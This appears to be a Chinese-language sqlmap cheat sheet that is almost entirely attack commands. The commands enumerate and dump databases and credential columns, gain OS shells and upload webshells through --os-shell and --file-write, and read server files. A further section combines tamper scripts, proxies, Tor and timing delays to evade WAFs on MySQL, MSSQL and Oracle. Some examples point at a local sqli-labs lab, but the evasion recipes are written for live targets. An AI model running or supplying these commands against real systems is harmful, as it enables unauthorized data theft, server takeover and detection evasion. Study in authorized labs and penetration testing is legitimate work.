附上一個別人總結的:https://www.cnblogs.com/ichunqiu/p/5805108.html
一套基礎的sqlmap語句:
python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db) python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dump
用到的參數
--technique sqlmap中的注入技術 --batch 默認選擇,自動運行 --current-db 當前數據庫 --current-user 當前數據庫用戶名 --is-dba 查看當前用戶是否為管理員權限 --data post型注入時的post數據 --threads 最大並發線程(不要超過10) -r 跟http請求頭的頭部文件.txt
--cookie cookie注入 --level 探測等級,3最好,5最全面 --sql-shell 運行自定義sql語句 --os-shell 運行操作系統命令 --file-read 從數據庫中讀取文件 --file-write "本機路徑" --file-dest "服務器路徑" 上傳文件 --tamper 跟自帶繞過腳本
--time-sec=60 延時,用來繞waf
過WAF
--identify-waf 檢測是否有waf --random-agent -v 2 使用任意瀏覽器進行繞過 --hpp -v 3 使用HTTP 參數污染進行繞過 --proxy=211.211.211.211:8080 --proxy-cred=211:985 使用代理 --flush-session 清空會話,重構注入 --hex 進行字符碼轉換 --mobile 對移動端的服務器進行注入 --tor 匿名注入 --delay=3.5 --time-sec=60 使用長的延時來避免觸發WAF的機制
0x01 --technique參數
—technique是為sqlmap中的注入技術,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布爾型盲注) E:Error-based (報錯型注入) U:Union query-based (聯合注入) S:Starked queries (通過sqlmap讀取文件系統、操作系統、注冊表必須 使用該參數,可多語句查詢注入) T:Time-based blind (基於時間延遲注入)
例如sqlmap語句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch
0x02 --data參數和--threads參數
post注入時,post的數據就放在--data后,--threads加快跑的速率,不要超過10
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit" --technique UES --dbms mysql --dbs --threads 8
0x03 -r參數
將HTTP請求包的內容放在一個txt文件里面,cookie可以不用放,然后-r跟上txt文件的路徑,讓sqlmap自動跑,這里要注意將可能出現sql注入的請求參數的值后面要跟上”*“符號
python sqlmap.py -r 1.txt --dbs --threads 8 --technique BTES 或者 python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-18/" --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST
如果知道sql注入的確切位置,那么這里可以直接使用第二種方式注入
0x04 --cookie參數
web應用基於cookie的身份驗證,對於post請求,可以指定cookie,cookie注入時直接使用這個參數
sqlmap -u "url" --cookie="..." --level 3 –-dbs
0x05 --os-shell 參數
知道數據庫為管理員權限,並且知道網址根目錄,那么使用這一個參數,可以上傳webshell和反彈shell。
用--is-dba查看是否為管理員權限
0x06 --file-read參數
知道網站的一些文件的目錄,或者網站服務器里面的固定文件的目錄,那么可以使用這個參數來讀取文件內容:
python sqlmap.py -u "http://127.0.0.1/?id=1" --file-read "C:/windows/win.ini"
0x07 --file-write --file-dest參數
--file-write "本機選擇上傳文件的路徑" --file-dest "服務器根目錄路徑"
知道一個站點存在sql注入且知道網站根目錄的前提下可使用此參數
0x08 --tamper 參數
--tamper參數專門跟一些腳本的,比如說sqlmap自帶的一些繞過的腳本
python sqlmap.py xxxx --tamper "腳本名"
常用的繞過腳本:
apostrophemask.py 用utf8代替引號 equaltolike.py 對等號的繞過,用like代替等號 greatest.py MySQL中繞過過濾’>’ space2hash.py 繞過空格的過濾 halfversionedmorekeywords.py mysql數據庫繞過防火牆 ase64encode.py 將語句用base64編碼 between.py 替換>號 space2plus.py 用+替換空格 chardoubleencode.py 雙url編碼 randomcase.py 隨機大小寫 randomcomments.py 用/**/分割sql關鍵字
0x09 tamper腳本參數組合策略繞過WAF
針對mysql數據庫:
--random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py --random-agent --hpp --tamper=space2mysqldash.p,versionedmorekeywords.py -delay=3.5 ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py
針對mssql
-delay=3.5 ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py --delay=3.5 --time-sec=120 --tamper=space2mssqlblank.py,securesphere.py --delay=3.5 --tamper=unionalltounion.py,base64encode.p
針對oracle:
--delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py --delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py
